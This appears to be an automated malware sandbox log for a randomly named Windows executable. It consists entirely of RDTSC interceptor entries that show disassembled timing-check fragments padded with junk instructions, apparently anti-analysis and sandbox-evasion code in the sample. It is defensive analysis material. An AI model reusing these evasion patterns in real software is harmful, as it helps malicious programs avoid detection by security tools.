Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9D24DF second address: 9D2507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB570775C63h 0x00000009 jno 00007FB570775C56h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jo 00007FB570775C56h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9D2507 second address: 9D250B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9D2661 second address: 9D266B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FB570775C56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9D266B second address: 9D266F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9D295F second address: 9D2963 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9D6B9F second address: 9D6BA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9D6BA4 second address: 9D6BCC instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB570775C6Ch 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FB570775C64h 0x0000000f jo 00007FB570775C5Eh 0x00000015 push edi 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9DF2FB second address: 9DF301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9DF301 second address: 9DF306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9DF473 second address: 9DF486 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FB57088F9DDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9DF486 second address: 9DF491 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FB570775C56h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9DF491 second address: 9DF4B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FB57088F9D6h 0x0000000a jmp 00007FB57088F9E3h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9DF4B3 second address: 9DF4BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB570775C56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9DF4BD second address: 9DF4F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9E5h 0x00000007 jc 00007FB57088F9D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FB57088F9E7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9DF4F7 second address: 9DF4FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9DF4FF second address: 9DF503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9DF976 second address: 9DF9A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB570775C69h 0x00000007 jng 00007FB570775C56h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f js 00007FB570775C69h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9E0328 second address: 9E0330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9E0330 second address: 9E034E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FB570775C63h 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e pop eax 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9E3757 second address: 9E375B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9E305D second address: 9E3063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9E3063 second address: 9E3068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9E3068 second address: 9E30A4 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB570775C62h 0x00000008 ja 00007FB570775C5Eh 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push ecx 0x00000012 jmp 00007FB570775C5Fh 0x00000017 push edx 0x00000018 pop edx 0x00000019 pop ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9E30A4 second address: 9E30AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9E30AA second address: 9E30AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9E30AE second address: 9E30B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9E30B2 second address: 9E30BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9E30BC second address: 9E30D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB57088F9E0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9E4E49 second address: 9E4E53 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB570775C5Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9E4E53 second address: 9E4E5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9E4E5D second address: 9E4E61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9E4E61 second address: 9E4E65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9E729A second address: 9E729F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9E729F second address: 9E72B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB57088F9DDh 0x00000008 pushad 0x00000009 popad 0x0000000a js 00007FB57088F9D6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9E6FB7 second address: 9E6FC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 jnc 00007FB570775C56h 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9E6FC5 second address: 9E6FD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FB57088F9DBh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9EBEB6 second address: 9EBEF0 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB570775C62h 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b jmp 00007FB570775C63h 0x00000010 push esi 0x00000011 pop esi 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jg 00007FB570775C56h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9EBEF0 second address: 9EBEF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9EBEF6 second address: 9EBF0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jno 00007FB570775C56h 0x0000000c je 00007FB570775C56h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9EB75B second address: 9EB788 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB57088F9DFh 0x00000009 popad 0x0000000a jmp 00007FB57088F9E9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9EB788 second address: 9EB7A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB570775C5Bh 0x00000007 jl 00007FB570775C58h 0x0000000d push esi 0x0000000e pop esi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9EB7A4 second address: 9EB7AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9EB7AA second address: 9EB7AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9EB7AE second address: 9EB7B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9EB7B2 second address: 9EB7E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB570775C63h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c jmp 00007FB570775C5Fh 0x00000011 pushad 0x00000012 popad 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9EB7E2 second address: 9EB7FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB57088F9E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9EB7FA second address: 9EB800 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9F1BE0 second address: 9F1BEF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jng 00007FB57088F9D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9F0789 second address: 9F078E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9F08FB second address: 9F090D instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB57088F9D8h 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007FB57088F9D6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9F0BAB second address: 9F0BAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9F0BAF second address: 9F0BC3 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB57088F9D6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007FB57088F9D6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98EABB second address: 98EAC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98EAC1 second address: 98EAC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98EAC5 second address: 98EB0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007FB570775C58h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 mov ebx, dword ptr [ebp+12488B08h] 0x0000002b mov edi, dword ptr [ebp+122D27EDh] 0x00000031 add eax, ebx 0x00000033 mov edx, dword ptr [ebp+122D2A29h] 0x00000039 nop 0x0000003a pushad 0x0000003b pushad 0x0000003c jl 00007FB570775C56h 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98EB0C second address: 98EB68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jmp 00007FB57088F9E2h 0x0000000b pop edi 0x0000000c popad 0x0000000d push eax 0x0000000e jng 00007FB57088F9E0h 0x00000014 jmp 00007FB57088F9DAh 0x00000019 nop 0x0000001a cmc 0x0000001b push 00000004h 0x0000001d push 00000000h 0x0000001f push edi 0x00000020 call 00007FB57088F9D8h 0x00000025 pop edi 0x00000026 mov dword ptr [esp+04h], edi 0x0000002a add dword ptr [esp+04h], 00000018h 0x00000032 inc edi 0x00000033 push edi 0x00000034 ret 0x00000035 pop edi 0x00000036 ret 0x00000037 sbb ch, FFFFFFC6h 0x0000003a mov di, ax 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 push ebx 0x00000041 pushad 0x00000042 popad 0x00000043 pop ebx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9F5D4C second address: 9F5D51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9F5D51 second address: 9F5D56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9F4F91 second address: 9F4FAB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB570775C5Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007FB570775C56h 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9F5266 second address: 9F526E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9F53F5 second address: 9F53F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9F53F9 second address: 9F5404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9F556B second address: 9F5570 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9F5570 second address: 9F5578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9F5578 second address: 9F5594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FB570775C5Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9F5594 second address: 9F559C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9F559C second address: 9F55A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9F55A1 second address: 9F55B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9DCh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9F55B3 second address: 9F55B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9F56FD second address: 9F5703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9F5875 second address: 9F5879 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9F5879 second address: 9F587F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9F587F second address: 9F5890 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jo 00007FB570775C56h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9F5890 second address: 9F5895 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9F5895 second address: 9F58BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB570775C68h 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007FB570775C56h 0x0000000f jl 00007FB570775C56h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9FC23D second address: 9FC242 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9FC4C4 second address: 9FC4CA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9FC7B7 second address: 9FC7C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 ja 00007FB57088F9D8h 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9FC7C9 second address: 9FC7CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9FC7CF second address: 9FC7D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9FC7D5 second address: 9FC7DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9FCA6E second address: 9FCA72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9FCA72 second address: 9FCA78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9FCD13 second address: 9FCD1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9FCD1D second address: 9FCD26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9FCD26 second address: 9FCD2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9FCD2C second address: 9FCD37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9FCD37 second address: 9FCD3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A03746 second address: A0375C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB570775C5Fh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A0375C second address: A0378D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FB57088F9E0h 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A028C7 second address: A028CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A028CF second address: A028FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB57088F9E8h 0x0000000f js 00007FB57088F9DCh 0x00000015 jl 00007FB57088F9D6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: A0327B second address: A0327F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
